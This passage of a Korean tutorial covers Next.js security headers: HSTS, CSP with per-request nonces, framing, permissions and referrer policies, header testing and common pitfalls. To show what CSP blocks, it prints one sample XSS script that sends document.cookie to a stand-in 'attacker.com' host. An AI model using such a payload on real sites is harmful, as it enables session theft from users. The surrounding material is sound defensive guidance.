━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. 사이트를 https://hstspreload.org/ 에 등록
2. Chrome이 브라우저에 리스트 내장
3. 사용자가 브라우저 설치 시부터 리스트 포함
4. 첫 방문부터 자동으로 HTTPS!

실전 설정:

// next.config.mjs
const nextConfig = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Strict-Transport-Security',
            value: process.env.NODE_ENV === 'production'
              ? 'max-age=31536000; includeSubDomains; preload'
              : 'max-age=0',  // 개발 환경에서는 비활성화
          },
        ],
      },
    ];
  },
};

주의사항:

⚠️ 로컬 개발 시 주의
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HSTS를 localhost에 설정하면:
→ 브라우저가 localhost를 HTTPS로만 접속하려 함
→ http://localhost:3000 접속 불가
→ 개발이 불가능해짐!

해결책:
1. 개발 환경에서는 HSTS 비활성화
2. 또는 max-age=0으로 설정

7. Content-Security-Policy (CSP)

목적: XSS 공격의 최후 방어선

왜 가장 강력한가요?

다른 헤더들은 특정 공격을 방어하지만, CSP는 악성 코드가 실행되는 것 자체를 원천 차단합니다.

동작 원리:

공격자가 악성 스크립트 삽입:
<script>
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>
    ↓
브라우저가 스크립트 실행 전에 CSP 확인:
Content-Security-Policy: script-src 'self'
    ↓
브라우저: "이 스크립트는 inline이고, 'self'가 아니네?"
    ↓
실행 차단!
    ↓
콘솔 에러: "Refused to execute inline script because it
violates the following Content Security Policy directive"

기본 설정:

// next.config.mjs
{
  key: 'Content-Security-Policy',
  value: "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:;"
}

디렉티브 설명:

// default-src 'self'
// → 기본값: 같은 도메인의 리소스만 허용

// script-src 'self'
// → JavaScript: 같은 도메인만 허용
// → inline 스크립트 차단
// → eval() 차단

// style-src 'self' 'unsafe-inline'
// → CSS: 같은 도메인 + inline 스타일 허용
// → Next.js는 inline 스타일을 사용하므로 필수

// img-src 'self' data: https:
// → 이미지: 같은 도메인 + data URI + 모든 HTTPS
// → CDN 이미지를 위해 https: 허용

// font-src 'self' data:
// → 폰트: 같은 도메인 + data URI

// connect-src 'self'
// → API 요청: 같은 도메인만 허용
// → fetch(), XMLHttpRequest

// frame-src 'none'
// → iframe: 완전 차단

// object-src 'none'
// → <object>, <embed> 차단 (Flash 등)

문제: Next.js의 inline 스크립트

Next.js는 개발 환경에서 inline 스크립트를 사용합니다. 이를 허용하려면 nonce를 사용해야 합니다.

// proxy.ts - 동적 nonce 생성
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
import crypto from 'crypto';

export function proxy(request: NextRequest) {
  const response = NextResponse.next();

  // 요청마다 고유한 nonce 생성
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');

  // CSP에 nonce 포함
  response.headers.set(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline';`
  );

  // 페이지에서 사용할 수 있도록 전달
  response.headers.set('x-nonce', nonce);

  return response;
}
// app/layout.tsx - nonce 사용
import { headers } from 'next/headers';

export default async function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  const nonce = (await headers()).get('x-nonce');

  return (
    <html lang="ko">
      <head>
        {/* nonce 속성 추가 */}
        <script nonce={nonce} src="/js/analytics.js"></script>
      </head>
      <body>{children}</body>
    </html>
  );
}

단계별 CSP 강화 전략:

// 1단계: Report-Only 모드 (모니터링만)
{
  key: 'Content-Security-Policy-Report-Only',
  value: "default-src 'self'; script-src 'self' 'unsafe-inline'; report-uri /api/csp-report"
}
// → 위반 사항을 /api/csp-report로 전송
// → 실제로 차단하지는 않음

// 2단계: 위반 사항 분석 (1-2주)
// → /api/csp-report 로그 확인
// → 어떤 리소스가 차단되는지 파악

// 3단계: 정책 조정
{
  key: 'Content-Security-Policy',
  value: "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted-cdn.com; ..."
}

// 4단계: unsafe-inline 제거 (nonce 사용)
{
  key: 'Content-Security-Policy',
  value: "default-src 'self'; script-src 'self' 'nonce-{NONCE}';"
}

실전 예제: 외부 서비스 허용

// Google Analytics, Google Fonts 사용 시
{
  key: 'Content-Security-Policy',
  value: [
    "default-src 'self'",
    "script-src 'self' https://www.google-analytics.com https://www.googletagmanager.com",
    "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
    "font-src 'self' https://fonts.gstatic.com",
    "img-src 'self' data: https://www.google-analytics.com",
    "connect-src 'self' https://www.google-analytics.com"
  ].join('; ')
}

완전한 보안 헤더 설정 (복사해서 사용)

next.config.mjs (정적 헤더)

// next.config.mjs
/** @type {import('next').NextConfig} */
const nextConfig = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          // 클릭재킹 방어
          {
            key: 'X-Frame-Options',
            value: 'DENY',
          },
          // MIME 스니핑 방지
          {
            key: 'X-Content-Type-Options',
            value: 'nosniff',
          },
          // Referrer 정보 제어
          {
            key: 'Referrer-Policy',
            value: 'strict-origin-when-cross-origin',
          },
          // 브라우저 권한 차단
          {
            key: 'Permissions-Policy',
            value: 'camera=(), microphone=(), geolocation=(), payment=(), usb=()',
          },
          // 구형 브라우저 XSS 방어
          {
            key: 'X-XSS-Protection',
            value: '1; mode=block',
          },
          // HTTPS 강제 (프로덕션만)
          {
            key: 'Strict-Transport-Security',
            value: process.env.NODE_ENV === 'production'
              ? 'max-age=31536000; includeSubDomains; preload'
              : 'max-age=0',
          },
        ],
      },
    ];
  },
};

export default nextConfig;

proxy.ts (동적 CSP)

// proxy.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
import crypto from 'crypto';

export function proxy(request: NextRequest) {
  const response = NextResponse.next();

  // CSP nonce 동적 생성
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');

  // Content Security Policy
  response.headers.set(
    'Content-Security-Policy',
    [
      "default-src 'self'",
      `script-src 'self' 'nonce-${nonce}'`,
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' data: https:",
      "font-src 'self' data:",
      "connect-src 'self'",
      "frame-src 'none'",
      "object-src 'none'",
      "base-uri 'self'",
      "form-action 'self'",
      "frame-ancestors 'none'",
      "upgrade-insecure-requests",
    ].join('; ')
  );

  // nonce를 페이지에서 사용할 수 있도록 전달
  response.headers.set('x-nonce', nonce);

  return response;
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
};

app/layout.tsx (nonce 적용)

// app/layout.tsx
import { headers } from 'next/headers';

export default async function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  const headersList = await headers();
  const nonce = headersList.get('x-nonce');

  return (
    <html lang="ko">
      <head>
        {/* 외부 스크립트에 nonce 추가 */}
        {nonce && (
          <>
            <script nonce={nonce} src="/js/analytics.js" async></script>
          </>
        )}
      </head>
      <body>{children}</body>
    </html>
  );
}

보안 헤더 테스트하기

1. 로컬 테스트

# 개발 서버 시작
npm run dev

# 다른 터미널에서 헤더 확인
curl -I http://localhost:3000

# 예상 출력:
# X-Frame-Options: DENY
# X-Content-Type-Options: nosniff
# Referrer-Policy: strict-origin-when-cross-origin
# ...

2. 프로덕션 테스트

배포 후 확인:

# 1. curl로 확인
curl -I https://your-domain.com

# 2. 브라우저 개발자 도구
# - Network 탭
# - 첫 번째 요청 클릭
# - Headers 탭에서 Response Headers 확인

3. 자동화된 보안 테스트

Security Headers 등급 확인:

1. https://securityheaders.com/ 접속
2. URL 입력: https://your-domain.com
3. Scan 클릭

목표: A+ 등급

A+ 등급 체크리스트:
✅ Strict-Transport-Security
✅ Content-Security-Policy
✅ X-Frame-Options
✅ X-Content-Type-Options
✅ Referrer-Policy
✅ Permissions-Policy

Mozilla Observatory 테스트:

https://observatory.mozilla.org/

- 보안 헤더 외에도 다양한 보안 측면 체크
- TLS 설정
- Cookie 보안
- 서브리소스 무결성

4. CI/CD에 통합

# .github/workflows/security-check.yml
name: Security Headers Check

on: [push, pull_request]

jobs:
  security-headers:
    runs-on: ubuntu-latest
    steps:
      - name: Check Security Headers
        run: |
          curl -I https://your-domain.com | grep -E "(X-Frame-Options|X-Content-Type-Options|Strict-Transport-Security|Content-Security-Policy|Referrer-Policy|Permissions-Policy)"

          # 필수 헤더가 없으면 실패
          if ! curl -I https://your-domain.com | grep -q "X-Frame-Options: DENY"; then
            echo "❌ X-Frame-Options header is missing!"
            exit 1
          fi

          echo "✅ All security headers are present"

함정과 주의사항

함정 1: CSP가 너무 엄격해서 페이지가 깨짐

// ❌ 나쁜 예: 모든 inline 차단
response.headers.set(
  'Content-Security-Policy',
  "default-src 'self'; script-src 'self'; style-src 'self';"
);

// 결과:
// - Next.js의 inline 스타일 차단
// - 페이지가 스타일 없이 렌더링
// - 개발 환경 HMR(Hot Module Replacement) 작동 안 함
// ✅ 좋은 예: 단계적으로 강화
// 1단계: Report-Only로 시작
response.headers.set(
  'Content-Security-Policy-Report-Only',
  "default-src 'self'; script-src 'self' 'unsafe-inline'; report-uri /api/csp-report"
);

// 2단계: 위반 사항 모니터링 (1-2주)

// 3단계: 실제 적용
response.headers.set(
  'Content-Security-Policy',
  "default-src 'self'; script-src 'self' 'unsafe-inline';"
);

함정 2: HSTS를 localhost에 설정

// ❌ 나쁜 예: 환경 구분 없이 HSTS 적용
{
  key: 'Strict-Transport-Security',
  value: 'max-age=31536000; includeSubDomains'
}

// 결과:
// - 로컬 개발 환경(http://localhost:3000)에서 HSTS 적용
// - 브라우저가 localhost를 HTTPS로만 접속하려 함
// - 개발 불가능!
// ✅ 좋은 예: 프로덕션에서만 적용
{
  key: 'Strict-Transport-Security',
  value: process.env.NODE_ENV === 'production'
    ? 'max-age=31536000; includeSubDomains; preload'
    : 'max-age=0',  // 개발 환경에서는 비활성화
}

HSTS를 잘못 설정한 경우 해결법:

Chrome에서 HSTS 삭제:
1. chrome://net-internals/#hsts 접속
2. "Delete domain security policies" 섹션
3. Domain에 "localhost" 입력
4. Delete 클릭

함정 3: X-Frame-Options와 CSP frame-ancestors 충돌

// ❌ 나쁜 예: 중복 설정으로 혼란
{
  key: 'X-Frame-Options',
  value: 'SAMEORIGIN'  // iframe 허용
},
{
  key: 'Content-Security-Policy',
  value: "frame-ancestors 'none'"  // iframe 차단
}

// 결과: 브라우저마다 다르게 해석
// ✅ 좋은 예: CSP 우선 (더 현대적)
{
  key: 'X-Frame-Options',
  value: 'DENY'  // 구형 브라우저용
},
{
  key: 'Content-Security-Policy',
  value: "frame-ancestors 'none'"  // 최신 브라우저용
}

// 또는 둘 다 같은 정책으로 설정

함정 4: Permissions-Policy에서 필요한 권한까지 차단

// ❌ 나쁜 예: 화상 회의 앱인데 카메라 차단
{
  key: 'Permissions-Policy',
  value: 'camera=(), microphone=()'
}

// 사용자: "카메라가 작동하지 않아요!"
// ✅ 좋은 예: 경로별로 다른 정책
// next.config.mjs
const nextConfig = {
  async headers() {
    return [
      {
        // 일반 페이지: 모두 차단
        source: '/:path((?!video-call).*)',
        headers: [
          {
            key: 'Permissions-Policy',
            value: 'camera=(), microphone=(), geolocation=()'
          }
        ],
      },
      {
        // 화상 회의 페이지: 카메라/마이크 허용
        source: '/video-call/:path*',
        headers: [
          {
            key: 'Permissions-Policy',
            value: 'camera=(self), microphone=(self), geolocation=()'
          }
        ],
      },
    ];
  },
};

함정 5: Referrer-Policy를 너무 엄격하게 설정

// ❌ 나쁜 예: 분석 도구가 작동 안 함
{
  key: 'Referrer-Policy',
  value: 'no-referrer'  // 모든 Referer 차단
}

// 결과:
// - Google Analytics가 트래픽 소스를 파악 못함
// - "어디서 방문자가 왔는지" 분석 불가
// ✅ 좋은 예: 균형잡힌 정책
{
  key: 'Referrer-Policy',
  value: 'strict-origin-when-cross-origin'
}

// 동작:
// - 같은 도메인: 전체 URL (분석 가능)
// - 다른 도메인: Origin만 (분석 가능, 민감 정보는 제거)
// - HTTPS→HTTP: 전송 안 함 (보안 유지)

실전 체크리스트

배포 전에 다음을 확인하세요.

개발 단계

  • next.config.mjs에 보안 헤더 설정 추가
  • HSTS는 프로덕션에서만 활성화 (process.env.NODE_ENV === 'production')
  • 로컬에서 헤더 확인 (curl -I http://localhost:3000)
  • CSP는 Report-Only 모드로 먼저 테스트
  • 필요한 권한은 Permissions-Policy에서 허용

스테이징 단계

  • 스테이징 환경에서 전체 기능 테스트
  • CSP 위반 사항 모니터링 (/api/csp-report)
  • 외부 서비스 작동 확인 (Google Analytics, CDN 등)
  • 보안 헤더 등급 확인 (securityheaders.com)
  • 모든 페이지에서 헤더 적용 확인

프로덕션 배포

  • CSP를 Report-Only에서 실제 적용으로 변경
  • HSTS 적용 확인 (max-age=31536000)
  • Security Headers 등급: A+ 달성
  • Mozilla Observatory 테스트 통과
  • CI/CD에 보안 헤더 체크 추가

배포 후 모니터링

  • CSP 위반 로그 정기 확인
  • 사용자 신고 모니터링 (기능 작동 이상)
  • 브라우저 콘솔 에러 확인
  • 정기적 보안 감사 (월 1회)

더 알아보기

공식 문서

보안 테스트 도구

관련 문서

마무리

보안 헤더는 웹 보안의 기본입니다. 한 번 설정해두면 자동으로 작동하면서, XSS, 클릭재킹, 중간자 공격 등 다양한 공격을 방어합니다.

핵심 정리:

  1. next.config.mjs에 정적 헤더 설정 (대부분의 헤더)
  2. proxy.ts에 동적 CSP 설정 (nonce)
  3. Report-Only 모드로 먼저 테스트 (CSP)
  4. 프로덕션에서만 HSTS 활성화
  5. Security Headers A+ 등급 달성

기억하세요:

“보안은 한 번의 설정이 아니라 지속적인 관심입니다. 하지만 보안 헤더는 그 시작점이자, 가장 효과적인 방어 수단입니다.”

F 등급에서 A+ 등급까지, 여러분의 웹사이트를 더 안전하게 만들어보세요!

댓글